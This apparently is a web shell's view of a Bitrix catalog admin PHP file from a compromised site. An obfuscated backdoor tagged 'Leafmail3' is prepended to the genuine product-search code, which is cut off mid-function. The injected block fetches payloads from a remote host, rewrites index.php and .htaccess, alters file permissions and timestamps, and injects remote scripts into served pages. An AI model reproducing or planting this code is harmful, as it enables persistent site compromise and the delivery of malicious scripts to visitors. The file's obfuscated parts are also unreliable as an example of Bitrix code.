Your IP : 3.133.7.179


Current Path : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/catalog/admin/
Upload File :
Current File : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/catalog/admin/cat_store_product_search.php

<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php");
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/catalog/prolog.php");

global $APPLICATION;
global $DB;
global $USER;

if (!($USER->CanDoOperation('catalog_read') || $USER->CanDoOperation('catalog_view')))
	$APPLICATION->AuthForm(GetMessage("ACCESS_DENIED"));

CModule::IncludeModule("catalog");
IncludeModuleLangFile(__FILE__);

$boolSubscribe = false;
if (isset($_REQUEST['subscribe']) && 'Y' == $_REQUEST['subscribe'])
	$boolSubscribe = true;

ClearVars("str_iblock_");
ClearVars("s_");
$APPLICATION->AddHeadScript('/bitrix/js/catalog/catalog_menu.js');

/**
 * @param $userId
 * @param $lid
 * @param $productId
 * @param string $productName
 * @param string $currency
 * @param array $arProduct
 * @return array|bool
 */
function GetProductSku($userId, $lid, $productId, $productName = '', $currency = '', $arProduct = array())
{
	$userId = intval($userId);

	$productId = intval($productId);
	if($productId <= 0)
		return false;

	$lid = trim($lid);
	if($lid === '')
		return false;

	$productName = trim($productName);
	$arResult = array();

	static $arCacheGroups = array();

	if(!isset($arCacheGroups[$userId]))
		$arCacheGroups[$userId] = CUser::GetUserGroup($userId);
	$arGroups = $arCacheGroups[$userId];

	if (!isset($arProduct["IBLOCK_ID"]) || 0 >= intval($arProduct["IBLOCK_ID"]))
		$arProduct["IBLOCK_ID"] = CIBlockElement::GetIBlockByID($arProduct["IBLOCK_ID"]);

	static $arOffersIblock = array();
	if(!isset($arOffersIblock[$arProduct["IBLOCK_ID"]]))
	{
		$mxResult = CCatalogSKU::GetInfoByProductIBlock($arProduct["IBLOCK_ID"]);
		if(is_array($mxResult))
			$arOffersIblock[$arProduct["IBLOCK_ID"]] = $mxResult["IBLOCK_ID"];
	}

	if($arOffersIblock[$arProduct["IBLOCK_ID"]] > 0)
	{

		static $arCacheOfferProperties = array();
		if(!is_set($arCacheOfferProperties[$arOffersIblock[$arProduct["IBLOCK_ID"]]]))
		{
			$dbOfferProperties = CIBlockProperty::GetList(
				array('SORT' => 'ASC', 'ID' => 'ASC'),
				array('IBLOCK_ID' => $arOffersIblock[$arProduct["IBLOCK_ID"]], 'ACTIVE' => 'Y', "!XML_ID" => "CML2_LINK")
			);
			while($arOfferProperties = $dbOfferProperties->Fetch())
			{
				if ('F' == $arOfferProperties['PROPERTY_TYPE'])
					continue;
				$arCacheOfferProperties[$arOffersIblock[$arProduct["IBLOCK_ID"]]][] = $arOfferProperties;
			}
		}
		$arOfferProperties = $arCacheOfferProperties[$arOffersIblock[$arProduct["IBLOCK_ID"]]];


		$arIblockOfferProps = array();
		$arIblockOfferPropsFilter = array();
		if(is_array($arOfferProperties))
		{
			foreach($arOfferProperties as $val)
			{
				$arIblockOfferProps[] = array("CODE" => $val["CODE"], "NAME" => $val["NAME"]);
				$arIblockOfferPropsFilter[] = $val["CODE"];
			}
		}

		$arOffers = CIBlockPriceTools::GetOffersArray(
			$arProduct["IBLOCK_ID"],
			$productId,
			array("ID" => "DESC"),
			array("NAME", "EXTERNAL_ID"),
			$arIblockOfferPropsFilter,
			0,
			array(),
			1,
			array(),
			$userId,
			$lid
		);

		$arSku = array();
		$arSkuId = array();
		$arImgSku = array();
		foreach($arOffers as $arOffer)
			$arSkuId[] = $arOffer['ID'];
		if(!empty($arSkuId))
		{
			$res = CIBlockElement::GetList(array(), array("ID" => $arSkuId), false, false, array("ID", "IBLOCK_ID", "NAME", "PREVIEW_PICTURE", "DETAIL_PICTURE", "DETAIL_PAGE_URL", "ACTIVE"));
			while($arOfferImg = $res->GetNext())
				$arImgSku[$arOfferImg["ID"]] = $arOfferImg;
		}
		$arOffersId = array();
		foreach($arOffers as $arOffer)
		{
			$arOffersId[] = $arOffer['ID'];
		}

		$dbCatalogProduct = CCatalogProduct::GetList(array(), array("ID" => $arOffersId));

		while($arCatalogProduct = $dbCatalogProduct->fetch())
			$arCatalogProductResult[$arCatalogProduct["ID"]] = $arCatalogProduct;

		foreach($arOffers as $arOffer)
		{
			$arSkuTmp = array();
			$active = '';
			$arOffer["CAN_BUY"] = "N";
			$arCatalogProduct = $arCatalogProductResult[$arOffer["ID"]];
			if(!empty($arCatalogProduct))
			{
				if($arCatalogProduct["CAN_BUY_ZERO"] != "Y" && ($arCatalogProduct["QUANTITY_TRACE"]=="Y" && doubleval($arCatalogProduct["QUANTITY"])<=0))
					$arOffer["CAN_BUY"] = "N";
				else
					$arOffer["CAN_BUY"] = "Y";
			}

			$arSkuTmp["ImageUrl"] = '';
			if($arOffer["CAN_BUY"] == "Y")
			{
				if(isset($arImgSku[$arOffer['ID']]) && !empty($arImgSku[$arOffer['ID']]))
				{
					if('' == $productName)
						$productName = $arImgSku[$arOffer['ID']]["~NAME"];

					$active = $arImgSku[$arOffer['ID']]["ACTIVE"];

					if($arImgSku[$arOffer['ID']]["PREVIEW_PICTURE"] != "")
						$arSkuTmp["PREVIEW_PICTURE"] = $arImgSku[$arOffer['ID']]["PREVIEW_PICTURE"];

					if($arImgSku[$arOffer['ID']]["DETAIL_PICTURE"] != "")
						$arSkuTmp["DETAIL_PICTURE"] = $arImgSku[$arOffer['ID']]["DETAIL_PICTURE"];
				}
			}
			foreach($arIblockOfferProps as $arCode)
			{
				if(is_array($arCode) && isset($arOffer["PROPERTIES"][$arCode["CODE"]]))
				{
					if (isset($arOffer["DISPLAY_PROPERTIES"][$arCode["CODE"]]))
					{
						$mxValues = '';
						if ('E' == $arOffer["DISPLAY_PROPERTIES"][$arCode["CODE"]]['PROPERTY_TYPE'])
						{
